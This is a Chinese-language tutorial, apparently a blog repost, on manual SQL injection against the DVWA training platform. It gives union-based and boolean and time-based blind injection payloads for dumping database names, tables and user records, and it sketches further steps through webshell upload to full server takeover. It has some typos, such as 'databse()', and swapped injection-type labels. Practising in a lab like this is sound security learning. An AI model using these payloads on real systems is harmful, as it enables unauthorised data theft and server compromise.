DVWA 攻击平台测试

DVWA是OWASP官方提供的一个做渗透测试的平台

1.SQL injection

1.利用特殊字符验证绕过SQL

当我们输入1的时候 ID有一个回显

当我们接着输入''的时候,SQL回显报错

初步可以判断这里存在SQL注入点

输入框接着输入1' or 1=1-- 

绕过了验证

2.测试查询信息列数。利用语句 order by num 

利用”order by 1。2。3.。。-- “猜测一下数据的列数

当输入1‘ order by 2-- 时和第一种情况是一样的,验证到3的时候

可以获得这个数据库中含有2列数据

3.通过得到连接数据库账户信息、数据库名称、数据库版本信息。利用user(),及database(),version()等三个内置函数。

用联合查询可以查到第一列和第二列的值,利用内置函数user(),及database(),version()注入得出连接数据库用户以及数据库名称:1' and 1=2 union select user(),database()  -- 

连接数据库的用户为 root@localhost ,数据库名称为dvwa

注入得到数据库名就成功了一半了 接下来就是一些基本的操作了,,进一步利用函数version(),尝试得到版本信息, 1' and 1=2 union select version(),database()  -- 查看版本信息

可以查询到当前SQL版本是5.5.53

 4.获得操作系统信息

1'and 1=2 union select 1,@@global.version_compile_os from mysql.user --

5.测试连接数据库权限:

1’ and ord(mid(user(),1,1))=114 -- 猜测数据库中是否存在root用户若返回正常说明是root

6.查询mysql数据库,所有数据库名字:这里利用mysql默认的数据库infromation_scehma,该数据库存储了Mysql所有数据库和表的信息。

1' and 1=2 union select 1,schema_name from information_schema_schemata -- 

7.猜解dvwa数据库中的表名。利用1‘ and exists(select * from 表名)。

1' and exists(select * from users) -- 

8.猜解字段名:1' and exists(select 表名 from users) -- ,这里测试的字段名有first_name,last_name

9.爆出数据库中字段的内容 1' and 1=2 union select first_name,last_name from users --  ,这里其实如果是存放管理员账户的表,那么用户名,密码信息字段就可以爆出来了。

这个数据库中所有成员的信息已经显示出来了。

以上是注入一个SQL数据库的所有步骤。总结一下:

1、寻找注入点,可以通过web扫描工具实现(SQLmap)

2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。

3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)

4、可以通过获得的用户信息,寻找后台登录。

5、利用后台或了解的进一步信息,上传webshell或向数据库写入一句话木马,以进一步提权,直到拿到服务器权限。

简单测试了mysql几个常用注入语句:

1' order by 2 --   /*用来猜解查询信息的列数

1' and 1=2 union select user(),database(),-- 

1' and 1=2 union select user(),version(), -- /*利用user(),database(),version()函数获得数据库信息

1'and 1=2 union select 1,@@global.version_compile_os from mysql.user -- /*获得操作系统信息1' and ord(mid(user(),1,1))=114 --  /*测试连接数据库用户权限

1' and 1=2 union select 1,schema_name from information_schema.schemata -- /*爆出所有数据库名称1' and exists(select * from users) -- /*猜解表名

1' and exists(select first_name from users) -- /猜解字段名

1' and 1=2 union select first_name,last_name from users -- /*猜解字段内容

2.SQL injection(blind)

SQL InjectionBlind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。

手工盲注思路

手工盲注的过程,就像你与一个机器人聊天,这个机器人知道的很多,但只会回答“是”或者“不是”,因此你需要询问它这样的问题,例如“数据库名字的第一个字母是不是a啊?”,通过这种机械的询问,最终获得你想要的数据。

盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注,这里由于实验环境的限制,只演示基于布尔的盲注与基于时间的盲注。

下面简要介绍手工盲注的步骤(可与之前的手工注入作比较):

1.判断是否存在注入,注入是字符型还是数字型

2.猜解当前数据库名

3.猜解数据库中的表名

4.猜解表中的字段名

5.猜解数据

服务器端代码

<?php 

if( isset( $_GET[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_GET[ 'id' ]; 

    // Check database 
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors 

    // Get results 
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors 
    if( $num > 0 ) { 
        // Feedback for end user 
        echo '<pre>User ID exists in the database.</pre>'; 
    } 
    else { 
        // User wasn't found, so the page wasn't! 
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); 

        // Feedback for end user 
        echo '<pre>User ID is MISSING from the database.</pre>'; 
    } 

    mysql_close(); 
} 

?> 

  可以看到这段代码中没有对传进来的id值进行任何过滤

同时也可以看到无论我们输入任何查询语句,SQL都值反馈给我们两种形式

因此这样的数据库只能进行盲注

方式1:布尔盲注

1.判断是否存在注入,注入是字符型还是数字型

输入1,显示相应用户存在:

输入 1‘ and 1=1 #

也显示用户存在

输入1’ and 1=2 #

显示用户不存在。

因此可以初步判断存在注入点。

因此可以判断这是字符型注入

PS:简单解释以下如何区分字符型(stiring)还是数字型(int)注入,因为数字型和字符型用的是两种截然不同的方式

数字型:pwd=1 or 1=1 

整型:pwd = 1' or 1=1 #

直观判断就是需不需要“ “封闭 字符型是无法直接加1=1绕过验证的  必须将前面的单引号进行封闭。

2.猜解当前数据库名

想要猜解数据库名,首先要猜解数据库名的长度,然后挨个猜解字符。

输入1’ and length(database())=1 #

依次尝试database()=2,3,4,5....

当尝试到4的时候发现用户存在

说明数据库名长度为4

下面采用二分法猜解数据库名。

输入1’ and ascii(substr(databse(),1,1))>97 #    用户存在

说明数据库名首字母的ascii值>97 首字母>a

输入1’ and ascii(substr(databse(),1,1))<122 #

说明数据库名首字母的ascii值<122 首字母<z

依次进行二分法查找,发现当查找到大于或小于100 时用户都不存在

小写字母d对应的ascii码是100 因此可以判断首字母是d

修改database(),1,1中1,1的值依次改为2,2  3,3  4,4 可以查到数据库名称dvwa

3.猜解数据库中的表名

首先猜解数据库中表的数量:

1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在

1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在

可以判断数据库中有两个表

接着依次猜解表名:

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在

直到尝试到

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 用户存在

说明第一个表长度为9

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在

说明第一个表的名字的第一个字符为小写字母g。

重复上述步骤,即可猜解出两个表名(guestbook、users)。

4.猜解表中的字段名

首先猜解表中字段的数量:

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 # 显示不存在

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 显示存在

说明users表有8个字段。

1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 显示不存在

1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 显示存在

说明users表的第一个字段为7个字符长度。

采用二分法,即可猜解出所有字段名。

5.猜解数据

同样采用二分法。

还可以使用基于时间的盲注:

1.判断是否存在注入,注入是字符型还是数字型

输入1’ and sleep(5) #,有明显延迟;

输入1 and sleep(5) #,没有延迟;

因此可以判断这是字符型注入

2.猜解当前数据库名

首先猜解数据名的长度:

1’ and if(length(database())=1,sleep(5),1) # 没有延迟

1’ and if(length(database())=2,sleep(5),1) # 没有延迟

1’ and if(length(database())=3,sleep(5),1) # 没有延迟

1’ and if(length(database())=4,sleep(5),1) # 明显延迟

可以判断数据库长度=4

用二分法猜测数据库名

1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟

1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟

1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟

说明数据库名的第一个字符为小写字母d。

依次类推 可以拿到数据库名称

3.猜解数据库中的表名

首先猜解数据库中表的数量:

1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 没有延迟

1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明显延迟

说明数据库中有两个表。

1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟

1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明显延迟

说明第一个表名的长度为9个字符。

采用二分法即可猜解出表名。

4.猜解表中的字段名

首先猜解表中字段的数量:

1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 没有延迟

1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明显延迟

说明users表中有8个字段。

接着挨个猜解字段名:

1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 没有延迟

1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明显延迟

说明users表的第一个字段长度为7个字符。

采用二分法即可猜解出各个字段名。

5.猜解数据

同样采用二分法。

SQL盲注要比前者费时费力,但是在做黑盒测试的时候,盲注是一个必备的手段。

猜你喜欢

转载自www.cnblogs.com/sylover/p/10514258.html